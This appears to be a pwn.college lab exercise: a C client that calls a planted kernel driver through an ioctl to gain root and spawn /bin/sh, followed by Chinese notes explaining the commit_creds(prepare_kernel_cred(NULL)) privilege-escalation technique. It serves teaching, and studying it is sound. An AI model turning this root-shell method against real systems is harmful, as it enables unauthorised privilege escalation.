#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/ioctl.h> 
#include <locale.h>
#include <libintl.h>
#include <dirent.h>
#include <langinfo.h>

int main()
{
	int fd = open("/proc/pwn-college-root", 0);
	assert(fd > 0);

	printf("%d\n", getuid());
	ioctl(fd, 0x5566, 0x12341234);
	printf("%d\n", getuid());
	execl("/bin/sh", "/bin/sh", NULL);

	return 0;
}

// gcc -o getroot -static make-root-app.c

#if 0

Linux内核内存损坏提权

内核内存损坏可能导致以下后果：
1.系统崩溃
2.权限提升
3.破坏或干扰其他进程


权限提升原理

内核通过 task_struct 记录信息量巨大， 会记录每一个进程的权限，而 task_struct 保存了操作系统所需的特定进程数据。
这些数据包括：进程凭据、优先级、PID（进程 ID）、PPID（父进程 ID）、开放资源列表、内存空间范围信息、命名空间信息等。


task_struct中关于权限的是进程凭据(cred)，cred结构体中包含进程的euid，euid是一个重要的字段，
它代表了进程的有效用户ID（effective user ID）。有效用户ID是用于权限检查的用户ID，
如果将euid改为0，当前进程就是root权限，提权就是将euid改为0。

进程凭证是不可变的，但可以被替换，内核提供了两个api，一个是把当前cred结构体对象替换为别的：
commit_creds(struct cred *)


另一个能创建cred结构体对象：
struct cred *prepare_kernel_cred(struct task_struct*reference_task_struct)


如果将 NULL传递给prepare_kernel_cred，它会创建一个具有root访问权限和完全权限的cred结构，
再用commit_creds执行它，就会获得root权限
commit_creds(prepare_kernel_cred(NULL));


实现步骤:
1.写一个简单驱动，在ioctl的ioctl_num里回入上面提到的两个API接口。
2.写一个应用，打开驱动设备，ioctl使用ioctl_num这个参数调用。然后使用execl执行/bin/sh,即可。

问题:
1.加载此驱动的时候需要root权限，所以如果没有root，此方法依然提取不到权限。
#endif